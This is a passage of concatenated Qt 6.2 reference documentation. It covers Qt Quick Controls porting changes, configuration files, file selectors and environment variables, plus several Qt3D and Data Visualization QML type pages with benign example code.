* Linux: [Fusion Style](qtquickcontrols2-fusion)
* macOS: [macos Style](qtquickcontrols2-macos)
* Windows: [Windows Style](qtquickcontrols2-windows)
* All other platforms: [Basic Style](qtquickcontrols2-basic)

 Therefore, applications that didn't specify a style in Qt 5 and have customized controls should [explicitly specify](qtquickcontrols2-styles#using-styles-in-qt-quick-controls) the Basic style in Qt 6 to ensure that those controls look and behave as they did with Qt 5.

 Palette
-------

 The palette API was moved to [QQuickItem](qquickitem). The various APIs that use palettes in Qt Quick Controls are unchanged.

 Controls
--------

 ### ApplicationWindow

 The deprecated overlay properties and attached API were removed. Use the [Overlay](qml-qtquick-controls2-overlay) attached type instead.

 ### ComboBox

 The [pressed](qml-qtquick-controls2-combobox#pressed-prop) property is now read-only. To modify the visual pressed state of a [ComboBox](qml-qtquick-controls2-combobox), use the [down](qml-qtquick-controls2-combobox#down-prop) property instead.

 ### Container

 The deprecated `removeItem(var)` function was removed. [removeItem](qml-qtquick-controls2-container#removeItem-method)(Item) or [takeItem](qml-qtquick-controls2-container#takeItem-method)(int) can be used instead.

 ### Dialog

 [Dialog](qtquickcontrols-changes-qt6#dialog)'s [accepted](qml-qtquick-controls2-dialog#accepted-signal)() and [rejected](qml-qtquick-controls2-dialog#rejected-signal)() signals are now emitted before [closed](qml-qtquick-controls2-popup#closed-signal)() when calling [done](qml-qtquick-controls2-dialog#done-method)(), [accept](qml-qtquick-controls2-dialog#accept-method)() and [reject](qml-qtquick-controls2-dialog#reject-method)().

 ### Menu

 The deprecated `removeItem(var)` function was removed. [removeItem](qml-qtquick-controls2-menu#removeItem-method)(Item) or [takeItem](qml-qtquick-controls2-menu#takeItem-method)(int) can be used instead.

 ### ToolTip

 [ToolTip](qtquickcontrols-changes-qt6#tooltip)'s timeout now begins only after [opened](qml-qtquick-controls2-popup#opened-signal)() has been emitted. This results in tooltips with enter transitions being visible for the entire duration of the timeout property. This means that they are visible slightly longer than they were before, so it may be worthwhile to visually check tooltips in your application and adjust timeouts if necessary.

 ### StackView

 The [StackView](qml-qtquick-controls2-stackview).Transition enum value was deprecated. The operation argument can be omitted in order to use the default transition for any given operation.

 ### Tumbler

 [implicitWidth](qml-qtquick-item#implicitWidth-prop) and [implicitHeight](qml-qtquick-item#implicitHeight-prop) must now be provided for [Tumbler](qtquickcontrols-changes-qt6#tumbler)'s [contentItem](qml-qtquick-controls2-control#contentItem-prop), making it consistent with all other controls.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols-changes-qt6.html>

Getting Started with Qt Quick Controls
======================================

 A basic example of a QML file that makes use of controls is shown here:

 
```
import QtQuick
import QtQuick.Controls

ApplicationWindow {
    title: "My Application"
    width: 640
    height: 480
    visible: true

    Button {
        text: "Push Me"
        anchors.centerIn: parent
    }
}
```
 Setting Up Controls from C++
----------------------------

 Although [QQuickView](qquickview) has traditionally been used to display QML files in a C++ application, doing this means you can only set window properties from C++.

 With Qt Quick Controls, declare an [ApplicationWindow](qml-qtquick-controls2-applicationwindow) as the root item of your application and launch it by using [QQmlApplicationEngine](qqmlapplicationengine) instead. This ensures that you can control top level window properties from QML.

 A basic example of a source file that makes use of controls is shown here:

 
```
#include <QGuiApplication>
#include <QQmlApplicationEngine>

int main(int argc, char *argv[])
{
    QGuiApplication app(argc, argv);
    QQmlApplicationEngine engine;
    engine.load(QUrl(QStringLiteral("qrc:/main.qml")));
    return app.exec();
}
```
 ### Using C++ Data From QML

 If you need to register a C++ class to use from QML, you can call [qmlRegisterType](qqmlengine#qmlRegisterType-1)() before declaring your [QQmlApplicationEngine](qqmlapplicationengine). See [Defining QML Types from C++](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#defining-qml-types-from-c) for more information.

 If you need to expose data to QML components, you need to make them available to the context of the current QML engine. See [QQmlContext](qqmlcontext) for more information.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-gettingstarted.html>

Qt Quick Controls Guidelines
============================

 Qt Quick Controls offers a selection of controls that can be used to build complete interfaces in Qt Quick.

 Below you will find practical guidelines on how and when to use the controls.

 

|  |  |
| --- | --- |
| [Button Controls](qtquickcontrols2-buttons) | Guidelines for button controls |
| [Container Controls](qtquickcontrols2-containers) | Guidelines for container controls |
| [Delegate Controls](qtquickcontrols2-delegates) | Guidelines for delegate controls |
| [Indicator Controls](qtquickcontrols2-indicators) | Guidelines for indicator controls |
| [Input Controls](qtquickcontrols2-input) | Guidelines for input controls |
| [Menu Controls](qtquickcontrols2-menus) | Guidelines for menu controls |
| [Navigation Controls](qtquickcontrols2-navigation) | Guidelines for navigation controls |
| [Popup Controls](qtquickcontrols2-popups) | Guidelines for popup controls |
| [Separator Controls](qtquickcontrols2-separators) | Guidelines for separator controls |

 Related Information
-------------------

 * [All Qt Quick Controls QML Types](https://doc.qt.io/qt-6.2/qtquick-controls2-qmlmodule.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-guidelines.html>

Using File Selectors with Qt Quick Controls
===========================================

 [File selectors](qfileselector) provide a convenient way of selecting file variants. Qt offers the platform name and the locale as built-in selectors. Qt Quick Controls extends the built-in selectors with the name (lowercase) of the style that an application is running with.

 By using file selectors, style-specific tweaks can be applied without creating a hard dependency to a style. From the available file variants, only the selected QML file is loaded by the QML engine. Each file variant can assume the context, that is, a specific style. This typically leads to some code duplication, but on the other hand, cuts the aforementioned hard dependency to the style, and leads to simpler and more efficient QML code.

 The following example demonstrates a custom rounded button that has a styled drop shadow in the [Material style](qtquickcontrols2-material), and looks flat in other styles. The files are organized so that the Material version of `CustomButton.qml` is placed into a `+Material` sub-directory.

 
```
:/main.qml
:/CustomButton.qml
:/+Material/CustomButton.qml
```
 By default, `main.qml` will use `CustomButton.qml` for the `CustomButton` type. However, when the application is run with the Material style, the `Material` selector will be present and the `+Material/CustomButton.qml` version will be used instead.

 
```
// main.qml
import QtQuick
import QtQuick.Controls

ApplicationWindow {
    id: window
    visible: true

    CustomButton {
        text: "Button"
        anchors.centerIn: parent
    }
}
```
 The base implementation of the custom button is a simple rounded flat button.

 
```
// CustomButton.qml
import QtQuick
import QtQuick.Controls

Button {
    id: control

    background: Rectangle {
        radius: width / 2
        implicitWidth: 36
        implicitHeight: 36
        color: control.pressed ? "#ccc" : "#eee"
    }
}
```
 The Material style's implementation of the custom button imports the Material style, requests a dark theme to get light text, and creates a drop shadow for the background.

 
```
// +Material/CustomButton.qml
import QtQuick
import QtGraphicalEffects
import QtQuick.Controls
import QtQuick.Controls.Material

Button {
    id: control

    Material.theme: Material.Dark

    background: Rectangle {
        implicitWidth: 48
        implicitHeight: 48
        color: Material.accentColor
        radius: width / 2

        layer.enabled: control.enabled
        layer.effect: DropShadow {
            verticalOffset: 1
            color: Material.dropShadowColor
            samples: control.pressed ? 20 : 10
            spread: 0.5
        }
    }
}
```
  **Note:** It is recommended to use [QQmlApplicationEngine](qqmlapplicationengine), which internally creates a [QQmlFileSelector](qqmlfileselector) instance. This is all that is needed to take QML file selectors into use.

  Related Information
-------------------

 * [QFileSelector](qfileselector)
* [QQmlFileSelector](qqmlfileselector)
* [Styling Qt Quick Controls](qtquickcontrols2-styles)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-fileselectors.html>

Qt Quick Controls Configuration File
====================================

 Qt Quick Controls support a special configuration file, `qtquickcontrols2.conf`, which is built into an application's resources.

 The configuration file can specify the preferred style and certain style-specific attributes. The following example specifies that the preferred style is the [Material style](qtquickcontrols2-material). Furthermore, when the application is run with the Material style, its theme is light and the accent and primary colors are teal and blue grey, respectively. However, if the application is run with the [Universal style](qtquickcontrols2-universal) instead, the accent color is red and the appropriate theme is chosen based on the system theme colors.

 
```
[Controls]
Style=Material

[Universal]
Theme=System
Accent=Red

[Material]
Theme=Light
Accent=Teal
Primary=BlueGrey
```
 It is possible to specify a custom location for the configuration file with the [QT\_QUICK\_CONTROLS\_CONF](qtquickcontrols2-environment) environment variable.

 Controls Section
----------------

 The following values can be specified in a `Controls` section of the configuration file:

 

| Variable | Description |
| --- | --- |
| `Style` | Specifies the style to run the application with. The value can be the name of one of the [built-in styles](qtquickcontrols2-styles#available-styles) or a [custom style](qtquickcontrols2-customize#creating-a-custom-style). |
| `FallbackStyle` | Specifies the style to use for controls that are not implemented. The style must be one of the [built-in styles](qtquickcontrols2-styles#available-styles). By default, the [Basic](qtquickcontrols2-basic) style is used. |

 Imagine Section
---------------

 The following table lists values that can be used to configure the [Imagine style](qtquickcontrols2-imagine) in an `Imagine` section of the configuration file:

 

| Variable | Description |
| --- | --- |
| `Path` | Specifies the [path](qtquickcontrols2-imagine#imagine-path-attached-prop) to the directory that contains the Imagine style assets. If not specified, the built-in assets are used.For example, to specify a path to a directory stored in the [resource system](resources): 
```
[Imagine]
Path=:/imagine-assets
```
 To specify a relative path to a local directory: 
```
[Imagine]
Path=imagine-assets
```
  **Note:** Due to a technical limitation, the path should not be named *"imagine"* if it is relative to the `qtquickcontrols2.conf` file.  |

 Material Section
----------------

 The following table lists values that can be used to configure the [Material style](qtquickcontrols2-material) in a `Material` section of the configuration file:

 

| Variable | Description |
| --- | --- |
| `Theme` | Specifies the default [Material theme](qtquickcontrols2-material#material-theme-attached-prop). The value can be one of the available themes, for example `"Dark"`. |
| `Variant` | Specifies the Material variant. The Material Design has two variants: a normal variant designed for touch devices, and a dense variant for desktop. The dense variant uses smaller sizes for controls and their fonts.The value can be `"Normal"` or `"Dense"`. |
| `Accent` | Specifies the default [Material accent color](qtquickcontrols2-material#material-accent-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Teal"`. |
| `Primary` | Specifies the default [Material primary color](qtquickcontrols2-material#material-primary-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"BlueGrey"`. |
| `Foreground` | Specifies the default [Material foreground color](qtquickcontrols2-material#material-foreground-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Brown"`. |
| `Background` | Specifies the default [Material background color](qtquickcontrols2-material#material-background-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Grey"`. |

 Universal Section
-----------------

 The following table lists values that can be used to configure the [Universal style](qtquickcontrols2-universal) in a `Universal` section of the configuration file:

 

| Variable | Description |
| --- | --- |
| `Theme` | Specifies the default [Universal theme](qtquickcontrols2-universal#universal-theme-attached-prop). The value can be one of the available themes, for example `"Dark"`. |
| `Accent` | Specifies the default [Universal accent color](qtquickcontrols2-universal#universal-accent-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Violet"`. |
| `Foreground` | Specifies the default [Universal foreground color](qtquickcontrols2-universal#universal-foreground-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Brown"`. |
| `Background` | Specifies the default [Universal background color](qtquickcontrols2-universal#universal-background-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Steel"`. |

 Font Configuration
------------------

 The default [font](qml-qtquick-controls2-control#font-prop) can be specified in a `Font` sub-group in each style's section in the configuration file. The `Font` sub-group can be defined in two alternative ways:

 
```
[Basic]
Font\Family=Open Sans
Font\PixelSize=20

[Material\Font]
Family=Open Sans
PixelSize=20
```
 Supported font attributes:

 

| Variable | Description |
| --- | --- |
| `Family` | The [font family](qfont#family). |
| `PointSize` | The [point size](qfont#pointSizeF). |
| `PixelSize` | The [pixel size](qfont#pixelSize). |
| `StyleHint` | The [style hint](qfont#styleHint). Available values: `SansSerif`, `Helvetica`, `Serif`, `Times`, `TypeWriter`, `Courier`, `OldEnglish`, `Decorative`, `Monospace`, `Fantasy`, `Cursive`. |
| `Weight` | The [weight](qfont#weight). Qt uses a weighting scale from `1` to `1000` compatible with OpenType. A weight of `1` will be thin, whilst `1000` will be extremely black. Available pre-defined weights: `Thin` (100), `ExtraLight` (200), `Light` (300), `Normal` (400), `Medium` (500), `DemiBold` (600), `Bold` (700), `ExtraBold` (800), `Black` (900). |
| `Style` | The [style](qfont#style). Available values: `StyleNormal`, `StyleItalic`, `StyleOblique`. |

 Palette Configuration
---------------------

 The default `palette` can be configured for each style using the `Palette` sub-group in the configuration file. The `Palette` sub-group can be defined in two alternative ways:

 
```
[Fusion]
Palette\Window=#dedede
Palette\WindowText=#212121
```
 or:

 
```
[Fusion\Palette]
Window=#dedede
WindowText=#212121
```
 See [Palette](qml-qtquick-palette) QML type for more information.

 Using the Configuration File in a Project
-----------------------------------------

 In order to make it possible for Qt Quick Controls to find the configuration file, it must be built into application's resources using the [The Qt Resource System](resources). Here's an example `.qrc` file:

 
```
<!DOCTYPE RCC><RCC version="1.0">
<qresource prefix="/">
    <file>qtquickcontrols2.conf</file>
</qresource>
</RCC>
```
  **Note:** Qt Quick Controls uses a file selector to load the configuration file. It is possible to provide a different configuration file for different platforms and locales. See [QFileSelector](qfileselector) documentation for more details.

  Finally, the `.qrc` file must be listed in the application's `.pro` file so that the build system knows about it. For example:

 
```
RESOURCES = application.qrc
```
 Related Information
-------------------

 * [Styling Qt Quick Controls](qtquickcontrols2-styles)
* [Supported Environment Variables in Qt Quick Controls](qtquickcontrols2-environment)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-configuration.html>

Supported Environment Variables in Qt Quick Controls
====================================================

 This page contains a list of all environment variables that Qt Quick Controls supports. The environment variables are primarily meant for testing purposes, but they can also be used to set system-wide defaults.

 

| Variable | Description |
| --- | --- |
| `QT_QUICK_CONTROLS_STYLE` | Specifies the default [Qt Quick Controls style](qtquickcontrols2-styles). The value can be either one of the built-in styles, for example `"Material"`, or a custom style such as `"MyStyle"`. |
| `QT_QUICK_CONTROLS_FALLBACK_STYLE` | Specifies a fallback style for [custom styles](qtquickcontrols2-customize#creating-a-custom-style). The value can be one of the built-in styles, for example `"Material"`, |
| `QT_QUICK_CONTROLS_CONF` | Specifies the location of the [Qt Quick Controls configuration file](qtquickcontrols2-configuration). By default, the configuration file is loaded from the application's resources in `":/qtquickcontrols2.conf"`. |
| `QT_QUICK_CONTROLS_HOVER_ENABLED` | Specifies whether Qt Quick Controls use [hover effects](qml-qtquick-controls2-control#hoverEnabled-prop). The value can be set to `0` or `1` to disable or enable hover effects, respectively. |

 [Imagine style](qtquickcontrols2-imagine) specific environment variables:

 

| Variable | Description |
| --- | --- |
| `QT_QUICK_CONTROLS_IMAGINE_PATH` | Specifies the path to the directory that contains the Imagine style assets. If not specified, the built-in assets are used.For example, to specify a path to a directory stored in the [resource system](resources): 
```
QT_QUICK_CONTROLS_IMAGINE_PATH=:/imagine-assets
```
 To specify a relative path to a local directory: 
```
QT_QUICK_CONTROLS_IMAGINE_PATH=imagine-assets
```
  **Note:** Due to a technical limitation, the path should not be named *"imagine"* if it is relative to the `qtquickcontrols2.conf` file.  |

 [Material style](qtquickcontrols2-material) specific environment variables:

 

| Variable | Description |
| --- | --- |
| `QT_QUICK_CONTROLS_MATERIAL_THEME` | Specifies the default [Material theme](qtquickcontrols2-material#material-theme-attached-prop). The value can be one of the available themes, for example `"Dark"`. |
| `QT_QUICK_CONTROLS_MATERIAL_VARIANT` | Specifies the Material variant. The Material Design has two variants: a normal variant designed for touch devices, and a dense variant for desktop. The dense variant uses smaller sizes for controls and their fonts.The value can be `"Normal"` or `"Dense"`. |
| `QT_QUICK_CONTROLS_MATERIAL_ACCENT` | Specifies the default [Material accent color](qtquickcontrols2-material#material-accent-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Teal"`. |
| `QT_QUICK_CONTROLS_MATERIAL_PRIMARY` | Specifies the default [Material primary color](qtquickcontrols2-material#material-primary-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"BlueGrey"`. |
| `QT_QUICK_CONTROLS_MATERIAL_FOREGROUND` | Specifies the default [Material foreground color](qtquickcontrols2-material#material-foreground-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Brown"`. |
| `QT_QUICK_CONTROLS_MATERIAL_BACKGROUND` | Specifies the default [Material background color](qtquickcontrols2-material#material-background-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Grey"`. |

 [Universal style](qtquickcontrols2-universal) specific environment variables:

 

| Variable | Description |
| --- | --- |
| `QT_QUICK_CONTROLS_UNIVERSAL_THEME` | Specifies the default [Universal theme](qtquickcontrols2-universal#universal-theme-attached-prop). The value can be one of the available themes, for example `"Dark"`. |
| `QT_QUICK_CONTROLS_UNIVERSAL_ACCENT` | Specifies the default [Universal accent color](qtquickcontrols2-universal#universal-accent-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Violet"`. |
| `QT_QUICK_CONTROLS_UNIVERSAL_FOREGROUND` | Specifies the default [Universal foreground color](qtquickcontrols2-universal#universal-foreground-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Brown"`. |
| `QT_QUICK_CONTROLS_UNIVERSAL_BACKGROUND` | Specifies the default [Universal background color](qtquickcontrols2-universal#universal-background-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Steel"`. |

 Related Information
-------------------

 * [Styling Qt Quick Controls](qtquickcontrols2-styles)
* [Qt Quick Controls Configuration File](qtquickcontrols2-configuration)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-environment.html>

AbstractActionInput QML Type
============================

 QML frontend for the abstract [Qt3DInput::QAbstractActionInput](qt3dinput-qabstractactioninput) C++ class. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Input |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QAbstractActionInput](qt3dinput-qabstractactioninput) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-input-abstractactioninput-members.html)

 Detailed Description
--------------------

 The base class for the Action Input and all Aggregate Action Inputs.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-input-abstractactioninput.html>

Qt Quick Templates 2
====================

 Qt Quick Templates are the foundations of [Qt Quick Controls](qtquickcontrols-index). Templates are non-visual implementations of controls' logic and behavior. They offer an interface to visualize the controls in QML using [Qt Quick](qtquick-index).

 Even though the templates aim to be as style-agnostic as possible, in some cases they have to make certain assumptions about the visual structure of a control. For example, a spinbox has buttons that increment and decrement the value of the spinbox. In order to implement the behavior of a spinbox, the spinbox template needs to know if the user is interacting with the up or down button. A visual implementation of the spinbox template merely needs to position the up and down buttons and visualize them in normal, pressed, and disabled states. Any input event handling and state processing is taken care of by the underlying template.

 Module Evolution
----------------

 [Changes to Qt Quick Controls](qtquickcontrols-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 Related Information
-------------------

 * [Qt Quick](qtquick-index)
* [Qt Quick Controls](qtquickcontrols-index)
* [Qt Quick Templates 2 QML Types](https://doc.qt.io/qt-6.2/qtquick-templates2-qmlmodule.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquicktemplates2-index.html>

Qt Labs Platform
================

 The experimental Qt Labs Platform module provides QML types for native platform extensions. The module was introduced in Qt 5.8.

 QML Types
---------

 

|  |  |
| --- | --- |
| [ColorDialog](qml-qt-labs-platform-colordialog) | A native color dialog |
| [Dialog](qml-qt-labs-platform-dialog) | Base class of native dialogs |
| [FileDialog](qml-qt-labs-platform-filedialog) | A native file dialog |
| [FolderDialog](qml-qt-labs-platform-folderdialog) | A native folder dialog |
| [FontDialog](qml-qt-labs-platform-fontdialog) | A native font dialog |
| [Menu](qml-qt-labs-platform-menu) | A native menu |
| [MenuBar](qml-qt-labs-platform-menubar) | A native menubar |
| [MenuItem](qml-qt-labs-platform-menuitem) | A native menu item |
| [MenuItemGroup](qml-qt-labs-platform-menuitemgroup) | A group for managing native menu items |
| [MenuSeparator](qml-qt-labs-platform-menuseparator) | A native menu separator |
| [MessageDialog](qml-qt-labs-platform-messagedialog) | A native message dialog |
| [StandardPaths](qml-qt-labs-platform-standardpaths) | Provides access to the standard system paths |
| [SystemTrayIcon](qml-qt-labs-platform-systemtrayicon) | A system tray icon |

  **Note:** *Types in Qt.labs modules are not guaranteed to remain compatible in future versions.*

  Module Evolution
----------------

 [Changes to Qt Quick Labs Platform](qtquicklabsplatform-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 Related Information
-------------------

 * [Qt Quick](qtquick-index)
* [Qt Quick Controls](qtquickcontrols-index)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtlabsplatform-index.html>

AbstractAnimation QML Type
==========================

 An abstract base type for Qt3D animations. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Animation |
|  Since: |  Qt 5.9 |
|  Instantiates: | [QAbstractAnimation](qt3danimation-qabstractanimation) |
|  Inherited By: | [KeyframeAnimation](qml-qt3d-animation-keyframeanimation), [MorphingAnimation](qml-qt3d-animation-morphinganimation), and [VertexBlendAnimation](qml-qt3d-animation-vertexblendanimation) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-animation-abstractanimation-members.html)

 Properties
----------

 * **[animationName](qml-qt3d-animation-abstractanimation#animationName-prop)** : string
* **[animationType](qml-qt3d-animation-abstractanimation#animationType-prop)** : enumeration
* **[duration](qml-qt3d-animation-abstractanimation#duration-prop)** : real
* **[position](qml-qt3d-animation-abstractanimation#position-prop)** : real

 Detailed Description
--------------------

 AbstractAnimation is an abstract base type for all animations. AbstractAnimation can not be directly instantiated, but rather through its subtypes. AbstractAnimation specifies common properties for all Qt3D animations, such as animation type, current position and animation duration, while leaving the actual animating for the subtypes.

 Property Documentation
----------------------

 ###  animationName : [string](qml-string)

 Holds the name of the animation.

 ###  animationType : [enumeration](qml-enumeration)

 Holds the type of the animation.

 * [KeyframeAnimation](qml-qt3d-animation-keyframeanimation)
* [MorphingAnimation](qml-qt3d-animation-morphinganimation)
* [VertexBlendAnimation](qml-qt3d-animation-vertexblendanimation)

 ###  duration : [real](qml-real)

 Holds the duration of the animation.

 ###  position : [real](qml-real)

 Holds the current position of the animation.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-animation-abstractanimation.html>

AbstractAxisInput QML Type
==========================

 QML frontend for abstract QAbstractAxisInput C++ class. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Input |
|  Since: |  Qt 5.5 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-input-abstractaxisinput-members.html)

 Properties
----------

 * **[sourceDevice](qml-qt3d-input-abstractaxisinput#sourceDevice-prop)** : AbstractPhysicalDevice

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  sourceDevice : [AbstractPhysicalDevice](qml-qt3d-input-abstractphysicaldevice)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-input-abstractaxisinput.html>

Abstract3DSeries QML Type
=========================

 A base type for all data series. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |
|  Instantiates: | [QAbstract3DSeries](qabstract3dseries) |
|  Inherited By: | [Bar3DSeries](qml-qtdatavisualization-bar3dseries), [Scatter3DSeries](qml-qtdatavisualization-scatter3dseries), and [Surface3DSeries](qml-qtdatavisualization-surface3dseries) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstract3dseries-members.html)

 Properties
----------

 * **[baseColor](qml-qtdatavisualization-abstract3dseries#baseColor-prop)** : color
* **[baseGradient](qml-qtdatavisualization-abstract3dseries#baseGradient-prop)** : ColorGradient
* **[colorStyle](qml-qtdatavisualization-abstract3dseries#colorStyle-prop)** : Theme3D.ColorStyle
* **[itemLabel](qml-qtdatavisualization-abstract3dseries#itemLabel-prop)** : string
* **[itemLabelFormat](qml-qtdatavisualization-abstract3dseries#itemLabelFormat-prop)** : string
* **[itemLabelVisible](qml-qtdatavisualization-abstract3dseries#itemLabelVisible-prop)** : bool
* **[mesh](qml-qtdatavisualization-abstract3dseries#mesh-prop)** : Abstract3DSeries.Mesh
* **[meshRotation](qml-qtdatavisualization-abstract3dseries#meshRotation-prop)** : quaternion
* **[meshSmooth](qml-qtdatavisualization-abstract3dseries#meshSmooth-prop)** : bool
* **[multiHighlightColor](qml-qtdatavisualization-abstract3dseries#multiHighlightColor-prop)** : color
* **[multiHighlightGradient](qml-qtdatavisualization-abstract3dseries#multiHighlightGradient-prop)** : ColorGradient
* **[name](qml-qtdatavisualization-abstract3dseries#name-prop)** : string
* **[singleHighlightColor](qml-qtdatavisualization-abstract3dseries#singleHighlightColor-prop)** : color
* **[singleHighlightGradient](qml-qtdatavisualization-abstract3dseries#singleHighlightGradient-prop)** : ColorGradient
* **[type](qml-qtdatavisualization-abstract3dseries#type-prop)** : Abstract3DSeries.SeriesType
* **[userDefinedMesh](qml-qtdatavisualization-abstract3dseries#userDefinedMesh-prop)** : string
* **[visible](qml-qtdatavisualization-abstract3dseries#visible-prop)** : bool

 Methods
-------

 * void **[setMeshAxisAndAngle](qml-qtdatavisualization-abstract3dseries#setMeshAxisAndAngle-method)**(vector3d *axis*, real *angle*)

 Detailed Description
--------------------

 This type is uncreatable, but contains properties that are exposed via the following subtypes: [Bar3DSeries](qml-qtdatavisualization-bar3dseries), [Scatter3DSeries](qml-qtdatavisualization-scatter3dseries), and [Surface3DSeries](qml-qtdatavisualization-surface3dseries).

 For more information, see [Qt Data Visualization Data Handling](qtdatavisualization-data-handling).

 Property Documentation
----------------------

 ###  baseColor : [color](qml-color)

 Sets the base color of the series.

 **See also** [colorStyle](qml-qtdatavisualization-abstract3dseries#colorStyle-prop) and [Theme3D.baseColors](qml-qtdatavisualization-theme3d#baseColors-prop).

 ###  baseGradient : [ColorGradient](qml-qtdatavisualization-colorgradient)

 Sets the base gradient of the series.

 **See also** [colorStyle](qml-qtdatavisualization-abstract3dseries#colorStyle-prop) and [Theme3D.baseGradients](qml-qtdatavisualization-theme3d#baseGradients-prop).

 ###  colorStyle : [Theme3D](qml-qtdatavisualization-theme3d).ColorStyle

 Sets the color style for the series.

 **See also** [Theme3D.colorStyle](qml-qtdatavisualization-theme3d#colorStyle-prop).

 ###  [since QtDataVisualization 1.1] itemLabel : [string](qml-string)

 The formatted item label. If there is no selected item or the selected item is not visible, returns an empty string.

 This property was introduced in QtDataVisualization 1.1.

 **See also** [itemLabelFormat](qml-qtdatavisualization-abstract3dseries#itemLabelFormat-prop).

 ###  itemLabelFormat : [string](qml-string)

 The label format for data items in this series. This format is used for single item labels, for example, when an item is selected. How the format is interpreted depends on series type: [Bar3DSeries](qml-qtdatavisualization-bar3dseries), [Scatter3DSeries](qml-qtdatavisualization-scatter3dseries), [Surface3DSeries](qml-qtdatavisualization-surface3dseries).

 ###  [since QtDataVisualization 1.1] itemLabelVisible : [bool](qml-bool)

 If `true`, item labels are drawn as floating labels in the graph. Otherwise, item labels are not drawn. To show the item label in an external control, this property is set to `false`. Defaults to `true`.

 This property was introduced in QtDataVisualization 1.1.

 **See also** [itemLabelFormat](qml-qtdatavisualization-abstract3dseries#itemLabelFormat-prop) and [itemLabel](qml-qtdatavisualization-abstract3dseries#itemLabel-prop).

 ###  mesh : [Abstract3DSeries](qml-qtdatavisualization-abstract3dseries).Mesh

 Sets the mesh of the items in the series, or the selection pointer in case of [Surface3DSeries](qml-qtdatavisualization-surface3dseries). If the mesh is [Abstract3DSeries.MeshUserDefined](qabstract3dseries#Mesh-enum), then the [userDefinedMesh](qml-qtdatavisualization-abstract3dseries#userDefinedMesh-prop) property must also be set for items to render properly. The default value depends on the graph type.

 **See also** [QAbstract3DSeries::Mesh](qabstract3dseries#Mesh-enum).

 ###  meshRotation : [quaternion](qml-quaternion)

 Sets the mesh rotation that is applied to all items of the series. The rotation should be a normalized quaternion. For those series types that support item specific rotation, the rotations are multiplied together. [Bar3DSeries](qml-qtdatavisualization-bar3dseries) ignores any rotation that is not around the y-axis. [Surface3DSeries](qml-qtdatavisualization-surface3dseries) applies the rotation only to the selection pointer. Defaults to no rotation.

